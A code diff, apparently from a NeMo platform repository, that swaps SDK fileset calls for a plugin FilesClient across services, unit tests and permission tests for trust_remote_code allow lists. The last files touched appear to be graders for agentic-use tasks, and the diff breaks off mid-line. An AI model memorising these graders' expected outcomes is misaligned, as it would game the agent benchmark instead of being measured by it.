test_create_model_trust_remote_code_true_without_permission_raises(self, sdk admin_sdk = as_user(sdk, TEST_ADMIN_EMAIL) admin_sdk.workspaces.create(name=workspace) - admin_sdk.files.filesets.create( + client_from_platform(admin_sdk, FilesClient).create_fileset( workspace=workspace, - name=fileset_name, - storage={"type": "huggingface", "repo_id": "Qwen/Qwen3-0.6B"}, + body=CreateFilesetRequest( + name=fileset_name, storage={"type": "huggingface", "repo_id": "Qwen/Qwen3-0.6B"} + ), ) grant_workspace_role( admin_sdk, @@ -1409,10 +1418,9 @@ def test_update_model_trust_remote_code_true_has_permission_succeeds(self, sdk: admin_sdk = as_user(sdk, TEST_ADMIN_EMAIL) admin_sdk.workspaces.create(name=workspace) admin_sdk.models.create(workspace=workspace, name=model_name) - admin_sdk.files.filesets.create( + client_from_platform(admin_sdk, FilesClient).create_fileset( workspace=workspace, - name=fileset_name, - storage={"type": "huggingface", "repo_id": "Qwen/Qwen3-0.6B"}, + body=CreateFilesetRequest(name=fileset_name, storage={"type": "huggingface", "repo_id": "Qwen/Qwen3-0.6B"}), ) grant_workspace_role( admin_sdk, @@ -1442,10 +1450,11 @@ def test_update_model_trust_remote_code_true_without_permission_raises(self, sdk admin_sdk = as_user(sdk, TEST_ADMIN_EMAIL) admin_sdk.workspaces.create(name=workspace) admin_sdk.models.create(workspace=workspace, name=model_name) - admin_sdk.files.filesets.create( + client_from_platform(admin_sdk, FilesClient).create_fileset( workspace=workspace, - name=fileset_name, - storage={"type": "huggingface", "repo_id": "Qwen/Qwen3-0.6B"}, + body=CreateFilesetRequest( + name=fileset_name, storage={"type": "huggingface", "repo_id": "Qwen/Qwen3-0.6B"} + ), ) grant_workspace_role( admin_sdk, @@ -1479,10 +1488,12 @@ def test_update_model_new_fileset_not_trusted_raises_permission_error(self, sdk: admin_sdk = as_user(sdk, TEST_ADMIN_EMAIL) admin_sdk.workspaces.create(name=workspace) # Model created with a trusted fileset (on allow list) so it has trust_remote_code=True. - admin_sdk.files.filesets.create( + client_from_platform(admin_sdk, FilesClient).create_fileset( workspace=workspace, - name=trusted_fs, - storage={"type": "huggingface", "repo_id": "nvidia/NVIDIA-Nemotron-3-Nano-30B-A3B-BF16"}, + body=CreateFilesetRequest( + name=trusted_fs, + storage={"type": "huggingface", "repo_id": "nvidia/NVIDIA-Nemotron-3-Nano-30B-A3B-BF16"}, + ), ) admin_sdk.models.create( workspace=workspace, @@ -1491,10 +1502,9 @@ def test_update_model_new_fileset_not_trusted_raises_permission_error(self, sdk: trust_remote_code=True, ) # New fileset resolves to a repo not on the allow list. - admin_sdk.files.filesets.create( + client_from_platform(admin_sdk, FilesClient).create_fileset( workspace=workspace, - name=new_fs, - storage={"type": "huggingface", "repo_id": "Qwen/Qwen3-0.6B"}, + body=CreateFilesetRequest(name=new_fs, storage={"type": "huggingface", "repo_id": "Qwen/Qwen3-0.6B"}), ) grant_workspace_role( admin_sdk, @@ -1523,10 +1533,12 @@ def test_exact_match_on_allow_list_succeeds(self, sdk: NeMoPlatform): admin_sdk = as_user(sdk, TEST_ADMIN_EMAIL) admin_sdk.workspaces.create(name=workspace) - admin_sdk.files.filesets.create( + client_from_platform(admin_sdk, FilesClient).create_fileset( workspace=workspace, - name=fileset_name, - storage={"type": "huggingface", "repo_id": "nvidia/NVIDIA-Nemotron-3-Nano-30B-A3B-BF16"}, + body=CreateFilesetRequest( + name=fileset_name, + storage={"type": "huggingface", "repo_id": "nvidia/NVIDIA-Nemotron-3-Nano-30B-A3B-BF16"}, + ), ) grant_workspace_role( admin_sdk, diff --git a/services/core/models/tests/integration/test_workspace_iam_models_isolation.py b/services/core/models/tests/integration/test_workspace_iam_models_isolation.py index 37540c22a3..c43c9873cd 100644 --- a/services/core/models/tests/integration/test_workspace_iam_models_isolation.py +++ b/services/core/models/tests/integration/test_workspace_iam_models_isolation.py @@ -25,6 +25,9 @@ import requests from fastapi.testclient import TestClient from nemo_platform import NeMoPlatform, PermissionDeniedError +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest from nmp.core.files.service import FilesService from nmp.core.models.service import ModelsService from nmp.core.secrets.service import SecretsService @@ -162,8 +165,9 @@ def test_model_and_adapter_iam(self, sdk: NeMoPlatform) -> None: # Filesets: fileset in C (for allow with group); fileset in D (for deny in C) fs_c = short_unique_name("fs-c") fs_d = short_unique_name("fs-d") - admin.files.filesets.create(workspace=ws_c, name=fs_c) - admin.files.filesets.create(workspace=ws_d, name=fs_d) + admin_files = client_from_platform(admin, FilesClient) + admin_files.create_fileset(workspace=ws_c, body=CreateFilesetRequest(name=fs_c)) + admin_files.create_fileset(workspace=ws_d, body=CreateFilesetRequest(name=fs_d)) admin.files.upload_content(content=b"x", remote_path="a.txt", fileset=fs_c, workspace=ws_c) admin.files.upload_content(content=b"x", remote_path="a.txt", fileset=fs_d, workspace=ws_d) @@ -338,8 +342,12 @@ def h(email: str, groups: list[str] | None = None) -> dict[str, str]: fs_c = short_unique_name("fs-c") fs_d = short_unique_name("fs-d") admin_sdk = as_user(models_auth_context.sdk, TEST_ADMIN_EMAIL) - admin_sdk.files.filesets.create(workspace=ws_c, name=fs_c) - admin_sdk.files.filesets.create(workspace=ws_d, name=fs_d) + client_from_platform(admin_sdk, FilesClient).create_fileset( + workspace=ws_c, body=CreateFilesetRequest(name=fs_c) + ) + client_from_platform(admin_sdk, FilesClient).create_fileset( + workspace=ws_d, body=CreateFilesetRequest(name=fs_d) + ) admin_sdk.files.upload_content(content=b"x", remote_path="a.txt", fileset=fs_c, workspace=ws_c) admin_sdk.files.upload_content(content=b"x", remote_path="a.txt", fileset=fs_d, workspace=ws_d) diff --git a/services/core/models/tests/unit/test_model_entity_service_unit.py b/services/core/models/tests/unit/test_model_entity_service_unit.py index 63b7c264be..405b8099d8 100644 --- a/services/core/models/tests/unit/test_model_entity_service_unit.py +++ b/services/core/models/tests/unit/test_model_entity_service_unit.py @@ -10,15 +10,9 @@ import pytest from nemo_platform import AsyncNeMoPlatform -from nemo_platform.filesets import ListFilesResponse -from nemo_platform.types.files import ( - Fileset, - FilesetFile, - HuggingfaceStorageConfig, - LocalStorageConfig, - NGCStorageConfig, -) -from nemo_platform.types.shared import FilesetMetadata +from nemo_platform_plugin.files.metadata import FilesetMetadata +from nemo_platform_plugin.files.storage_config import HuggingfaceStorageConfig, LocalStorageConfig, NGCStorageConfig +from nemo_platform_plugin.files.types import FilesetFileOutput, FilesetOutput, ListFilesetFilesResponse from nmp.common.api.common import Page, PaginationData from nmp.common.api.filter import ComparisonOperation, FilterOperator, LogicalOperation from nmp.common.api.parsed_filter import ParsedFilter @@ -189,14 +183,37 @@ def mock_entity_client() -> AsyncMock: @pytest.fixture -def model_entity_service(mock_entity_client): +def _mock_files_client(): + """Mock the FilesClient returned by client_from_platform in the permissions module.""" + fileset_output = FilesetOutput( + id="fileset-id-123", + name="test-fileset", + workspace="default", + description="Test fileset", + storage=LocalStorageConfig(path="test-path"), + purpose="generic", + project="test-project", + created_at="2026-01-01T00:00:00Z", + updated_at="2026-01-01T00:00:00Z", + custom_fields={"key": "value"}, + metadata=FilesetMetadata(), + ) + mock_fc = AsyncMock() + mock_response = MagicMock() + mock_response.data.return_value = fileset_output + mock_fc.get_fileset.return_value = mock_response + with patch("nmp.core.models.api.permissions.client_from_platform", return_value=mock_fc): + yield mock_fc + + +@pytest.fixture +def model_entity_service(mock_entity_client, _mock_files_client): """Create a ModelEntityService with mocked EntityClient.""" async_sdk = AsyncMock(spec=AsyncNeMoPlatform) async_sdk.files.list = AsyncMock( - return_value=ListFilesResponse( + return_value=ListFilesetFilesResponse( data=[ - FilesetFile( - id="file-id-123", + FilesetFileOutput( file_ref="file-ref-123", file_url="file-url-123", path="path-123", @@ -206,21 +223,6 @@ def model_entity_service(mock_entity_client): ] ) ) - async_sdk.files.filesets.retrieve = AsyncMock( - return_value=Fileset( - id="fileset-id-123", - name="test-fileset", - workspace="default", - description="Test fileset", - storage=LocalStorageConfig(path="test-path"), - purpose="generic", - project="test-project", - created_at="2026-01-01T00:00:00Z", - updated_at="2026-01-01T00:00:00Z", - custom_fields={"key": "value"}, - metadata=FilesetMetadata(), - ) - ) return ModelEntityService(mock_entity_client, sdk=async_sdk) @@ -1161,9 +1163,9 @@ async def test_list_adapters_resolves_parent_models_with_canonical_all_workspace assert mock_entity_client.list.call_args_list[1].kwargs["workspace"] == ALL_WORKSPACES -def _hf_fileset(repo_id: str) -> Fileset: - """Create a Fileset with HuggingFace storage for is_trusted_repo_id tests.""" - return Fileset( +def _hf_fileset(repo_id: str) -> FilesetOutput: + """Create a FilesetOutput with HuggingFace storage for is_trusted_repo_id tests.""" + return FilesetOutput( id="fs-1", name="test-fileset", workspace="default", @@ -1178,9 +1180,9 @@ def _hf_fileset(repo_id: str) -> Fileset: ) -def _ngc_fileset(org: str, team: str, target: str) -> Fileset: - """Create a Fileset with NGC storage for is_trusted_repo_id tests (path: org/team/target).""" - return Fileset( +def _ngc_fileset(org: str, team: str, target: str) -> FilesetOutput: + """Create a FilesetOutput with NGC storage for is_trusted_repo_id tests (path: org/team/target).""" + return FilesetOutput( id="fs-1", name="test-fileset", workspace="default", @@ -1280,7 +1282,7 @@ async def test_is_trusted_repo_id_no_match(model_entity_service): async def test_is_trusted_repo_id_non_huggingface_storage(model_entity_service): """When fileset storage is not huggingface or ngc, returns False.""" # Arrange - fileset = Fileset( + fileset = FilesetOutput( id="fs-1", name="test-fileset", workspace="default", diff --git a/services/hello-world/src/nmp/hello_world/tasks/access_fileset/run.py b/services/hello-world/src/nmp/hello_world/tasks/access_fileset/run.py index ba57edb1e6..470fe14b4a 100644 --- a/services/hello-world/src/nmp/hello_world/tasks/access_fileset/run.py +++ b/services/hello-world/src/nmp/hello_world/tasks/access_fileset/run.py @@ -7,7 +7,10 @@ retrieve a fileset and reports whether access was granted or denied. """ -from nemo_platform import APIStatusError, NeMoPlatform +from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.client.errors import NemoHTTPError +from nemo_platform_plugin.files.client import FilesClient from nmp.common.jobs.config import get_task_config from nmp.common.sdk_factory import get_platform_sdk from pydantic import BaseModel @@ -38,12 +41,13 @@ def run(*, sdk: NeMoPlatform | None = None) -> int: print(f"Attempting to access fileset '{config.fileset}' in workspace '{config.workspace}'") - fileset = sdk.files.filesets.retrieve(workspace=config.workspace, name=config.fileset) + files = client_from_platform(sdk, FilesClient) + fileset = files.get_fileset(workspace=config.workspace, name=config.fileset).data() print(f"Successfully accessed fileset: {fileset.name}") return 0 - except APIStatusError as e: + except NemoHTTPError as e: if e.status_code == 403: print(f"Access denied (403 Forbidden): {e}") elif e.status_code == 404: diff --git a/services/rl/src/nmp/rl/tasks/file_io/run.py b/services/rl/src/nmp/rl/tasks/file_io/run.py index 581567d2c2..0fe527a285 100644 --- a/services/rl/src/nmp/rl/tasks/file_io/run.py +++ b/services/rl/src/nmp/rl/tasks/file_io/run.py @@ -23,12 +23,20 @@ from nemo_platform import ( APIConnectionError, APITimeoutError, - ConflictError, InternalServerError, NeMoPlatform, NotFoundError, ) from nemo_platform.types.files.fileset_file import FilesetFile +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.client.errors import ( + ConflictError, +) +from nemo_platform_plugin.client.errors import ( + InternalServerError as FilesInternalServerError, +) +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest, UpdateFilesetRequest from nmp.common.jobs.schemas import PlatformJobStatus from nmp.common.sdk_factory import get_task_sdk from nmp.customization_common.schemas.file_io import ( @@ -317,34 +325,39 @@ def create_fileset(self, fileset: FileSetRef, metadata: dict | None = None) -> N @retry( stop=stop_after_attempt(MAX_RETRIES), wait=wait_exponential(multiplier=2, min=INITIAL_BACKOFF_SECONDS, max=MAX_BACKOFF_SECONDS), - retry=retry_if_exception_type((InternalServerError, APITimeoutError, APIConnectionError)), + retry=retry_if_exception_type( + ( + InternalServerError, + APITimeoutError, + APIConnectionError, + FilesInternalServerError, + httpx.TimeoutException, + httpx.ConnectError, + ) + ), reraise=True, ) def _create_fileset_with_retry(self, fileset: FileSetRef, metadata: dict | None = None) -> None: """Internal method with retry logic for creating a FileSet.""" + files = client_from_platform(self.sdk, FilesClient) try: - create_kwargs: dict = { - "workspace": fileset.workspace, + body_kwargs: dict = { "name": fileset.name, - "timeout": CREATE_FILESET_TIMEOUT, "custom_fields": {"service_source": SERVICE_SOURCE}, } if metadata is not None: - create_kwargs["metadata"] = metadata - result = self.sdk.with_options(max_retries=0).files.filesets.create(**create_kwargs) + body_kwargs["metadata"] = metadata + result = files.create_fileset(workspace=fileset.workspace, body=CreateFilesetRequest(**body_kwargs)).data() logger.info(f"Created FileSet: {result.workspace}/{result.name}") except ConflictError: - # Fileset already exists — patch metadata so tool_calling etc. aren't lost. workspace = fileset.workspace or self.job_ctx.workspace if metadata is not None: - update_kwargs: dict = { - "name": fileset.name, - "workspace": workspace, - "metadata": metadata, - "timeout": CREATE_FILESET_TIMEOUT, - } try: - self.sdk.with_options(max_retries=0).files.filesets.update(**update_kwargs) + files.update_fileset( + workspace=workspace, + name=fileset.name, + body=UpdateFilesetRequest(metadata=metadata), + ) logger.info(f"Patched existing FileSet metadata: {workspace}/{fileset.name}") except Exception as e: logger.warning( diff --git a/services/rl/src/nmp/rl/tasks/model_entity/run.py b/services/rl/src/nmp/rl/tasks/model_entity/run.py index acb3888e0a..2a2671c884 100644 --- a/services/rl/src/nmp/rl/tasks/model_entity/run.py +++ b/services/rl/src/nmp/rl/tasks/model_entity/run.py @@ -20,6 +20,7 @@ import time from pathlib import Path +import httpx from nemo_platform import ( APIConnectionError, APITimeoutError, @@ -37,6 +38,9 @@ ) from nemo_platform.types.models import LoraParam, ModelEntity from nemo_platform.types.shared_params.tool_call_config import ToolCallConfig as ToolCallConfigParam +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.client.errors import InternalServerError as FilesInternalServerError +from nemo_platform_plugin.files.client import FilesClient from nmp.common.sdk_factory import get_task_sdk from nmp.customization_common.schemas.model_entity import ( DeploymentParameters, @@ -165,12 +169,18 @@ def create_model_entity(self, config: ModelEntityTaskConfig) -> tuple[dict, Mode logger.info(f"Validating fileset exists: {fileset_workspace}/{config.fileset.name}") try: - self.sdk.files.filesets.retrieve(workspace=fileset_workspace, name=config.fileset.name) + client_from_platform(self.sdk, FilesClient).get_fileset( + workspace=fileset_workspace, name=config.fileset.name + ) logger.info(f"Fileset validation successful: {fileset_workspace}/{config.fileset.name}") - except (InternalServerError, APITimeoutError, APIConnectionError): - # Transient API failures must propagate so the @retry wrapping - # create_model_entity can retry them, instead of being masked as a - # permanent (non-retryable) ModelEntityCreationError. + except ( + InternalServerError, + APITimeoutError, + APIConnectionError, + FilesInternalServerError, + httpx.TimeoutException, + httpx.ConnectError, + ): raise except Exception as e: logger.error(f"Fileset validation failed: {fileset_workspace}/{config.fileset.name}") diff --git a/services/unsloth/src/nmp/unsloth/tasks/file_io/run.py b/services/unsloth/src/nmp/unsloth/tasks/file_io/run.py index 67bb0d093a..da84425778 100644 --- a/services/unsloth/src/nmp/unsloth/tasks/file_io/run.py +++ b/services/unsloth/src/nmp/unsloth/tasks/file_io/run.py @@ -23,12 +23,20 @@ from nemo_platform import ( APIConnectionError, APITimeoutError, - ConflictError, InternalServerError, NeMoPlatform, NotFoundError, ) from nemo_platform.types.files.fileset_file import FilesetFile +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.client.errors import ( + ConflictError, +) +from nemo_platform_plugin.client.errors import ( + InternalServerError as FilesInternalServerError, +) +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest, UpdateFilesetRequest from nmp.common.jobs.schemas import PlatformJobStatus from nmp.common.sdk_factory import get_task_sdk from nmp.customization_common.schemas.file_io import ( @@ -291,34 +299,39 @@ def create_fileset(self, fileset: FileSetRef, metadata: dict | None = None) -> N @retry( stop=stop_after_attempt(MAX_RETRIES), wait=wait_exponential(multiplier=2, min=INITIAL_BACKOFF_SECONDS, max=MAX_BACKOFF_SECONDS), - retry=retry_if_exception_type((InternalServerError, APITimeoutError, APIConnectionError)), + retry=retry_if_exception_type( + ( + InternalServerError, + APITimeoutError, + APIConnectionError, + FilesInternalServerError, + httpx.TimeoutException, + httpx.ConnectError, + ) + ), reraise=True, ) def _create_fileset_with_retry(self, fileset: FileSetRef, metadata: dict | None = None) -> None: """Internal method with retry logic for creating a FileSet.""" + files = client_from_platform(self.sdk, FilesClient) try: - create_kwargs: dict = { - "workspace": fileset.workspace, + body_kwargs: dict = { "name": fileset.name, - "timeout": CREATE_FILESET_TIMEOUT, "custom_fields": {"service_source": SERVICE_SOURCE}, } if metadata is not None: - create_kwargs["metadata"] = metadata - result = self.sdk.with_options(max_retries=0).files.filesets.create(**create_kwargs) + body_kwargs["metadata"] = metadata + result = files.create_fileset(workspace=fileset.workspace, body=CreateFilesetRequest(**body_kwargs)).data() logger.info(f"Created FileSet: {result.workspace}/{result.name}") except ConflictError: - # Fileset already exists — patch metadata so tool_calling etc. aren't lost. workspace = fileset.workspace or self.job_ctx.workspace if metadata is not None: - update_kwargs: dict = { - "name": fileset.name, - "workspace": workspace, - "metadata": metadata, - "timeout": CREATE_FILESET_TIMEOUT, - } try: - self.sdk.with_options(max_retries=0).files.filesets.update(**update_kwargs) + files.update_fileset( + workspace=workspace, + name=fileset.name, + body=UpdateFilesetRequest(metadata=metadata), + ) logger.info(f"Patched existing FileSet metadata: {workspace}/{fileset.name}") except Exception as e: logger.warning( diff --git a/services/unsloth/src/nmp/unsloth/tasks/model_entity/run.py b/services/unsloth/src/nmp/unsloth/tasks/model_entity/run.py index 355c5cb089..96874ea20c 100644 --- a/services/unsloth/src/nmp/unsloth/tasks/model_entity/run.py +++ b/services/unsloth/src/nmp/unsloth/tasks/model_entity/run.py @@ -37,6 +37,8 @@ ) from nemo_platform.types.models import LoraParam, ModelEntity from nemo_platform.types.shared_params.tool_call_config import ToolCallConfig as ToolCallConfigParam +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient from nmp.common.sdk_factory import get_task_sdk from nmp.customization_common.schemas.model_entity import ( DeploymentParameters, @@ -153,7 +155,9 @@ def create_model_entity(self, config: ModelEntityTaskConfig) -> tuple[dict, Mode logger.info(f"Validating fileset exists: {fileset_workspace}/{config.fileset.name}") try: - self.sdk.files.filesets.retrieve(workspace=fileset_workspace, name=config.fileset.name) + client_from_platform(self.sdk, FilesClient).get_fileset( + workspace=fileset_workspace, name=config.fileset.name + ) logger.info(f"Fileset validation successful: {fileset_workspace}/{config.fileset.name}") except Exception as e: logger.error(f"Fileset validation failed: {fileset_workspace}/{config.fileset.name}") diff --git a/services/unsloth/tests/test_file_io.py b/services/unsloth/tests/test_file_io.py index c11963afa7..9832038e03 100644 --- a/services/unsloth/tests/test_file_io.py +++ b/services/unsloth/tests/test_file_io.py @@ -20,7 +20,7 @@ import types from pathlib import Path -from unittest.mock import MagicMock +from unittest.mock import MagicMock, patch import pytest @@ -44,7 +44,7 @@ def _make_runner(sdk, workspace: str = "default", storage_path: Path | None = No return FileIORunner(sdk=sdk, progress_reporter=NoOpProgressReporter(), job_ctx=job_ctx) -def _make_sdk(*, conflict_on_create: bool = False) -> MagicMock: +def _make_sdk() -> MagicMock: """Build a MagicMock SDK with sensible defaults for fluent chaining. ``with_options`` returns the same SDK so chained timeouts don't break @@ -52,15 +52,6 @@ def _make_sdk(*, conflict_on_create: bool = False) -> MagicMock: """ sdk = MagicMock() sdk.with_options.return_value = sdk - - if conflict_on_create: - # Trigger ConflictError on filesets.create by raising the class the - # runner is bound against (see comment in _raise_runner_conflict). - def _raise_conflict(**_kwargs): - _raise_runner_conflict() - - sdk.files.filesets.create.side_effect = _raise_conflict - return sdk @@ -93,62 +84,90 @@ def _make_dir(tmp_path: Path) -> Path: class TestCreateFileset: - def test_creates_fileset_with_service_source_and_metadata(self) -> None: + @patch("nmp.unsloth.tasks.file_io.run.client_from_platform") + def test_creates_fileset_with_service_source_and_metadata(self, mock_cfp) -> None: + from nemo_platform_plugin.files.types import CreateFilesetRequest from nmp.customization_common.schemas.file_io import FileSetRef + mock_fc = MagicMock() + mock_cfp.return_value = mock_fc sdk = _make_sdk() runner = _make_runner(sdk) - metadata = {"model": "Qwen/Qwen3-0.6B", "save_method": "lora"} + metadata = {"model": {"tool_calling": {"tool_call_parser": "llama3_json"}}} dest = FileSetRef(workspace="default", name="qwen-test") runner.create_fileset(dest, metadata=metadata) - sdk.files.filesets.create.assert_called_once() - call = sdk.files.filesets.create.call_args + mock_fc.create_fileset.assert_called_once() + call = mock_fc.create_fileset.call_args assert call.kwargs["workspace"] == "default" - assert call.kwargs["name"] == "qwen-test" - assert call.kwargs["custom_fields"] == {"service_source": "unsloth"} - assert call.kwargs["metadata"] == metadata - - def test_conflict_patches_metadata_on_existing(self) -> None: + body = call.kwargs["body"] + assert isinstance(body, CreateFilesetRequest) + assert body.name == "qwen-test" + assert body.custom_fields == {"service_source": "unsloth"} + assert body.metadata is not None + assert body.metadata.model is not None + assert body.metadata.model.tool_calling.tool_call_parser == "llama3_json" + + @patch("nmp.unsloth.tasks.file_io.run.client_from_platform") + def test_conflict_patches_metadata_on_existing(self, mock_cfp) -> None: + from nemo_platform_plugin.files.types import UpdateFilesetRequest from nmp.customization_common.schemas.file_io import FileSetRef - sdk = _make_sdk(conflict_on_create=True) + mock_fc = MagicMock() + mock_fc.create_fileset.side_effect = lambda **_: _raise_runner_conflict() + mock_cfp.return_value = mock_fc + sdk = _make_sdk() runner = _make_runner(sdk) dest = FileSetRef(workspace="default", name="exists") + metadata = {"model": {"tool_calling": {"tool_call_parser": "hermes"}}} - runner.create_fileset(dest, metadata={"model": "x"}) + runner.create_fileset(dest, metadata=metadata) - sdk.files.filesets.update.assert_called_once() - update_call = sdk.files.filesets.update.call_args + mock_fc.update_fileset.assert_called_once() + update_call = mock_fc.update_fileset.call_args assert update_call.kwargs["workspace"] == "default" assert update_call.kwargs["name"] == "exists" - assert update_call.kwargs["metadata"] == {"model": "x"} - - def test_conflict_no_metadata_skips_update(self) -> None: + body = update_call.kwargs["body"] + assert isinstance(body, UpdateFilesetRequest) + assert body.metadata is not None + assert body.metadata.model is not None + assert body.metadata.model.tool_calling.tool_call_parser == "hermes" + + @patch("nmp.unsloth.tasks.file_io.run.client_from_platform") + def test_conflict_no_metadata_skips_update(self, mock_cfp) -> None: from nmp.customization_common.schemas.file_io import FileSetRef - sdk = _make_sdk(conflict_on_create=True) + mock_fc = MagicMock() + mock_fc.create_fileset.side_effect = lambda **_: _raise_runner_conflict() + mock_cfp.return_value = mock_fc + sdk = _make_sdk() runner = _make_runner(sdk) dest = FileSetRef(workspace="default", name="exists") runner.create_fileset(dest, metadata=None) - sdk.files.filesets.update.assert_not_called() + mock_fc.update_fileset.assert_not_called() + @patch("nmp.unsloth.tasks.file_io.run.client_from_platform") def test_update_failure_is_warning_not_fatal( self, + mock_cfp, caplog: pytest.LogCaptureFixture, ) -> None: from nmp.customization_common.schemas.file_io import FileSetRef - sdk = _make_sdk(conflict_on_create=True) - sdk.files.filesets.update.side_effect = RuntimeError("backend down") + mock_fc = MagicMock() + mock_fc.create_fileset.side_effect = lambda **_: _raise_runner_conflict() + mock_fc.update_fileset.side_effect = RuntimeError("backend down") + mock_cfp.return_value = mock_fc + sdk = _make_sdk() runner = _make_runner(sdk) dest = FileSetRef(workspace="default", name="exists") + metadata = {"model": {"tool_calling": {"tool_call_parser": "hermes"}}} with caplog.at_level("WARNING"): - runner.create_fileset(dest, metadata={"model": "x"}) + runner.create_fileset(dest, metadata=metadata) assert any("Could not patch metadata" in r.getMessage() for r in caplog.records) diff --git a/services/unsloth/tests/test_model_entity.py b/services/unsloth/tests/test_model_entity.py index aedf1115f7..5a817cceec 100644 --- a/services/unsloth/tests/test_model_entity.py +++ b/services/unsloth/tests/test_model_entity.py @@ -16,7 +16,7 @@ import types from pathlib import Path -from unittest.mock import MagicMock +from unittest.mock import MagicMock, patch import pytest @@ -105,11 +105,14 @@ def test_caps_length_below_60_and_strips_trailing_hyphen(self) -> None: class TestCreateFullEntity: - def test_creates_model_entity_for_full_sft(self) -> None: + @patch("nmp.unsloth.tasks.model_entity.run.client_from_platform") + def test_creates_model_entity_for_full_sft(self, mock_cfp) -> None: from nmp.customization_common.schemas.file_io import FileSetRef from nmp.customization_common.schemas.model_entity import ModelEntityTaskConfig sdk = _make_sdk() + mock_fc = MagicMock() + mock_cfp.return_value = mock_fc sdk.models.retrieve.return_value = _model_entity(name="base-model") new_me = _model_entity(name="trained-model") sdk.models.create.return_value = new_me @@ -125,18 +128,18 @@ def test_creates_model_entity_for_full_sft(self) -> None: result, deploy_target = runner.create_model_entity(config) - sdk.files.filesets.retrieve.assert_called_once_with(workspace="default", name="trained-model") + mock_fc.get_fileset.assert_called_once_with(workspace="default", name="trained-model") sdk.models.create.assert_called_once() assert deploy_target is new_me - # ``result`` is the output of ``new_me.model_dump()`` — we just assert - # we got *something* back; the actual shape is controlled by the SDK. assert result is not None - def test_conflict_falls_back_to_update(self) -> None: + @patch("nmp.unsloth.tasks.model_entity.run.client_from_platform") + def test_conflict_falls_back_to_update(self, mock_cfp) -> None: from nmp.customization_common.schemas.file_io import FileSetRef from nmp.customization_common.schemas.model_entity import ModelEntityTaskConfig sdk = _make_sdk() + mock_cfp.return_value = MagicMock() sdk.models.retrieve.return_value = _model_entity(name="base-model") sdk.models.create.side_effect = lambda **_: _raise_runner_conflict() sdk.models.update.return_value = _model_entity(name="trained-model") @@ -157,12 +160,15 @@ def test_conflict_falls_back_to_update(self) -> None: assert update_call.kwargs["name"] == "trained-model" assert update_call.kwargs["workspace"] == "default" - def test_missing_fileset_raises_creation_error(self) -> None: + @patch("nmp.unsloth.tasks.model_entity.run.client_from_platform") + def test_missing_fileset_raises_creation_error(self, mock_cfp) -> None: from nmp.customization_common.schemas.file_io import FileSetRef from nmp.customization_common.schemas.model_entity import ModelEntityCreationError, ModelEntityTaskConfig sdk = _make_sdk() - sdk.files.filesets.retrieve.side_effect = RuntimeError("fileset missing") + mock_fc = MagicMock() + mock_fc.get_fileset.side_effect = RuntimeError("fileset missing") + mock_cfp.return_value = mock_fc runner = _make_runner(sdk) config = ModelEntityTaskConfig( name="x", @@ -181,12 +187,14 @@ def test_missing_fileset_raises_creation_error(self) -> None: class TestCreateAdapter: - def test_creates_adapter_for_lora(self) -> None: + @patch("nmp.unsloth.tasks.model_entity.run.client_from_platform") + def test_creates_adapter_for_lora(self, mock_cfp) -> None: from nmp.customization_common.schemas.file_io import FileSetRef from nmp.customization_common.schemas.model_entity import ModelEntityTaskConfig, PEFTConfig from nmp.unsloth.entities.values import FinetuningType sdk = _make_sdk() + mock_cfp.return_value = MagicMock() base_me = _model_entity(name="base-model") sdk.models.retrieve.return_value = base_me sdk.models.adapters.create.return_value = _model_entity(name="adapter-x") @@ -203,15 +211,16 @@ def test_creates_adapter_for_lora(self) -> None: _result, deploy_target = runner.create_model_entity(config) sdk.models.adapters.create.assert_called_once() - # For LoRA, the deploy target is the BASE model, not the adapter. assert deploy_target is base_me - def test_adapter_conflict_falls_back_to_update(self) -> None: + @patch("nmp.unsloth.tasks.model_entity.run.client_from_platform") + def test_adapter_conflict_falls_back_to_update(self, mock_cfp) -> None: from nmp.customization_common.schemas.file_io import FileSetRef from nmp.customization_common.schemas.model_entity import ModelEntityTaskConfig, PEFTConfig from nmp.unsloth.entities.values import FinetuningType sdk = _make_sdk() + mock_cfp.return_value = MagicMock() sdk.models.retrieve.return_value = _model_entity(name="base-model") sdk.models.adapters.create.side_effect = lambda **_: _raise_runner_conflict() sdk.models.adapters.update.return_value = _model_entity(name="adapter-x") diff --git a/tests/agentic-use/customizer-lora-job-cli/tests/test_outputs.py b/tests/agentic-use/customizer-lora-job-cli/tests/test_outputs.py index 68b858f335..c900bd0b94 100644 --- a/tests/agentic-use/customizer-lora-job-cli/tests/test_outputs.py +++ b/tests/agentic-use/customizer-lora-job-cli/tests/test_outputs.py @@ -14,6 +14,8 @@ import pytest from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient WORKSPACE = "lora-training-workspace" FILESET = "sft-training-data" @@ -61,8 +63,8 @@ def test_workspace_exists(client: NeMoPlatform): def test_fileset_exists(client: NeMoPlatform): """Verify the sft-training-data fileset was created.""" - response = client.files.filesets.list(workspace=WORKSPACE) - fileset_names = [fs.name for fs in response.data] + files = client_from_platform(client, FilesClient) + fileset_names = [fs.name for fs in files.list_filesets(workspace=WORKSPACE).page().items] assert FILESET in fileset_names, f"Fileset '{FILESET}' not found. Found: {fileset_names}" diff --git a/tests/agentic-use/evaluator-llm-judge-cli-easy/tests/test_outputs.py b/tests/agentic-use/evaluator-llm-judge-cli-easy/tests/test_outputs.py index 3223c87502..a92fcf214d 100644 --- a/tests/agentic-use/evaluator-llm-judge-cli-easy/tests/test_outputs.py +++ b/tests/agentic-use/evaluator-llm-judge-cli-easy/tests/test_outputs.py @@ -23,6 +23,8 @@ import pytest from nemo_platform import NeMoPlatform +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient sys.path.insert(0, "/tests/shared") from trace_reader import get_session @@ -58,8 +60,8 @@ def _get_nmp_client() -> NeMoPlatform: def test_fileset_exists() -> None: """Verify the judge-eval-dataset fileset was created.""" client = _get_nmp_client() - response = client.files.filesets.list() - fileset_names = 